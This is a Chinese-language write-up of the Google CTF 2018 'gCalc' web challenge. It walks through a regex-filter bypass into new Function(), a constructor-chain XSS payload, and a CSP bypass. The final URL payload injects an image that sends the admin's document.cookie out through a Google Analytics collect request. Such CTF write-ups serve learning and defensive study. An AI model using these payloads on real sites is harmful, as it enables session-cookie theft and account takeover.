Google CTF 2018 Quals Web挑战 - gCalc
gCalc是Google CTF 2018资格赛中的Web挑战,仅在2天的比赛中被15支队伍解决!
这是一个非常有趣的挑战,给了我很多乐趣。我喜欢这种挑战你利用技能而不是给你大量代码来寻找简单漏洞或毫无提示地猜测的挑战。因此,我想写一篇记录来记下这个挑战 :P
挑战提供了一个链接 https://gcalc2.web.ctfcompetition.com/。它只是一个用JavaScript编写的计算器,看起来像是一个XSS挑战。底部有一个“尝试”超链接,并将你的公式表达式传递给管理员!
乍一看,我发现我们可以从查询字符串中控制两个参数 - expr和vars。它看起来像:
https://gcalc2.web.ctfcompetition.com/?expr=vars.pi*3&vars={“pi”:3.14159,“ans”:0}
你可以在上下文中定义一些变量,并在公式表达式中使用它们。但变量只允许Number类型,以及从null创建的Object类型,这意味着创建的Object中没有其他方法和属性。你可以从我的gist中找到美化后的JavaScript代码!
如你所见,真正的漏洞非常直接。参数a是查询字符串中的expr,参数b是vars。expr只是进行一些清理,然后传递给new Function()。new Function()就像JavaScript中的eval!
|
|
expr的清理看起来灵活。我们使用regex101来分析正则表达式。正则表达式允许表达式中的一些操作数和运算符,并且变量名必须以vars开头。我脑海中的第一个想法是我们可以使用constructor.constructor(CODE)()来执行任意JavaScript。然后剩下的部分是如何创建CODE负载。
很快,我写了第一个版本的利用代码:
|
|
我调试了一个小时,被这个利用代码卡住了。我很好奇为什么这在我的控制台中有效,但XSS失败。最后,我找到了根本原因,第一行有一个toLowerCase,所以我们的toString和fromCharCode会失败… orz
|
|
知道这一点后,我很快写了下一个版本的利用代码,从vars映射的键中检索负载!在我的负载中,我使用/1/.exec(1).keys(1).constructor来获取Object构造函数,并使用keys(vars).pop()来检索vars映射中的最后一个键!
这是负载:
|
|
https://gcalc2.web.ctfcompetition.com/ ?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())() &vars={“pi”:3.14159,“ans”:0,“alert(1)":0}
嗨,我们得到了alert(1)
完成了吗?还没有 :( 我们的目标是从管理员那里窃取cookie,我们遇到了CSP问题!
/ 的CSP
Content-Security-Policy: default-src ‘self’; child-src https://sandbox-gcalc2.web.ctfcompetition.com/
/static/calc.html 的CSP
Content-Security-Policy: default-src ‘self’; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src ‘self’ https://.googleapis.com ‘unsafe-inline’; script-src ‘self’ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://.googleapis.com ‘unsafe-eval’ https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;
我们不能使用重定向或加载外部资源来外泄cookie。但我注意到CSP头中的img-src https://www.google-analytics.com,并记得很久以前,我读过一篇HackerOne报告,使用Google Analytics进行数据外泄!你可以将数据嵌入Google Analytics的ea参数中发送到外部,我们可以从Google Analytics控制台看到结果!
这是最终的利用代码
https://gcalc2.web.ctfcompetition.com/ ?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())() &vars={“pi”:3.14159,“ans”:0, “x=document.createElement(‘img’);x.src=‘https://www.google-analytics.com/collect ?v=1&tid=UA-00000000-1&cid=0000000000&t=event&ec=email&ea=’+encodeURIComponent(document.cookie);document.querySelector(‘body’).append(x)":0}
哦耶。flag是CTF{1+1=alert}!